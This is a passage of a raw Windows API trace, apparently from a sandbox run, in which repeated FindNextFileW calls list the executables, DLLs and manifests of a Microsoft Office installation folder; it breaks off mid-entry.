[0130.338] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x54ef2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnWD.dll", cAlternateFileName="")) returned 1 [0130.338] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1c8ab024, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c8ab024, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote", cAlternateFileName="")) returned 1 [0130.338] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdb652e29, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205e48, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0130.338] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c884dc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE.VisualElementsManifest.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0130.338] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4fa8f4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4fa8f4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4fa8f4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2a0b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTEM.EXE", cAlternateFileName="")) returned 1 [0130.338] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x313650, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONFILTER.DLL", cAlternateFileName="")) returned 1 [0130.338] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cd4a32, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONLNTCOMLIB.DLL", cAlternateFileName="ONLNTC~1.DLL")) returned 1 [0130.338] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4d4679, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdc4086cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde4f6fc9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xed9050, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONMAIN.DLL", cAlternateFileName="")) returned 1 [0130.338] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x605aed7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONPPTAddin.dll", cAlternateFileName="ONPPTA~1.DLL")) returned 1 [0130.338] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb7f57ea, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb7f57ea, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdd01a5a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8dbe58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONRES.DLL", cAlternateFileName="")) returned 1 [0130.338] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c8ab024, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c858, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONWordAddin.dll", cAlternateFileName="ONWORD~1.DLL")) returned 1 [0130.338] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4ebdfb8, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x1bbad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHART.DLL", cAlternateFileName="")) returned 1 [0130.338] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefcf5b24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa4690, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHART.EXE", cAlternateFileName="")) returned 1 [0130.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4ee42e7, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xacac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHWIZ.DLL", cAlternateFileName="")) returned 1 [0130.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1702fda, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1702fda, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x174f451, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x32ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGWIZ.EXE", cAlternateFileName="")) returned 1 [0130.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c8d1261, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1938c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSF.DLL", cAlternateFileName="")) returned 1 [0130.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd29ce0e8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd29ce0e8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2b4b84a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa060, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSFPROXY.DLL", cAlternateFileName="")) returned 1 [0130.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa060, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSFROAMINGPROXY.DLL", cAlternateFileName="OSFROA~1.DLL")) returned 1 [0130.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c8ab024, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x308c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSFSHARED.DLL", cAlternateFileName="OSFSHA~1.DLL")) returned 1 [0130.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c8ab024, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x77060, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSFUI.DLL", cAlternateFileName="")) returned 1 [0130.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca57b43c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca57b43c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca5a1676, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLCTL.DLL", cAlternateFileName="")) returned 1 [0130.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c943977, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x380000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLFLTR.DAT", cAlternateFileName="")) returned 1 [0130.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c943977, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab940, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLFLTR.DLL", cAlternateFileName="")) returned 1 [0130.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c943977, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbce68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLMIME.DLL", cAlternateFileName="")) returned 1 [0130.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca57b43c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xda982389, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212b448, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.EXE", cAlternateFileName="")) returned 1 [0130.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca850099, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca850099, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca850099, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x740, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.EXE.MANIFEST", cAlternateFileName="OUTLOO~1.MAN")) returned 1 [0130.339] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c91d744, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.VisualElementsManifest.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0130.340] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1fc86400, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1fc86400, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookAutoDiscover", cAlternateFileName="OUTLOO~1")) returned 1 [0130.340] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1d319566, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0130.340] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLRPC.DLL", cAlternateFileName="")) returned 1 [0130.340] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x146b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLVBS.DLL", cAlternateFileName="")) returned 1 [0130.340] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2981bec, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2981bec, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2a8cc4b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29f6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWSSUPP.DLL", cAlternateFileName="")) returned 1 [0130.340] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc348b22, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1fc39fa2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1fc39fa2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAGESIZE", cAlternateFileName="")) returned 1 [0130.340] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1d791bfc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2be48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFREFLOW.EXE", cAlternateFileName="PDFREF~1.EXE")) returned 1 [0130.340] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4f30656, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xdda50, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE.DLL", cAlternateFileName="")) returned 1 [0130.340] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e4e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PEOPLEDATAHANDLER.DLL", cAlternateFileName="PEOPLE~1.DLL")) returned 1 [0130.340] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834f7581, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x55aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfBoost.exe", cAlternateFileName="PERFBO~1.EXE")) returned 1 [0130.340] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b63f68c, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b63f68c, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b63f68c, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x32ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJCALEND.DLL", cAlternateFileName="")) returned 1 [0130.340] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc26397db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc26397db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc274482a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x902bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0130.341] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc6030bfe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd95b0a45, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd97c6b3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c40b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.EXE", cAlternateFileName="")) returned 1 [0130.341] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc6030bfe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc6030bfe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc6ac53aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpnt.exe.manifest", cAlternateFileName="POWERP~1.MAN")) returned 1 [0130.341] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x215db4dd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.VisualElementsManifest.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0130.341] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc6030bfe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd95d6d40, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d24004, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1178848, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPCORE.DLL", cAlternateFileName="")) returned 1 [0130.341] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc6246d3c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc6246d3c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb141e15, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13a640, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPRESOURCES.DLL", cAlternateFileName="PPRESO~1.DLL")) returned 1 [0130.341] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d278, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPSLAX.DLL", cAlternateFileName="")) returned 1 [0130.341] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x21057dcc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21673e23, 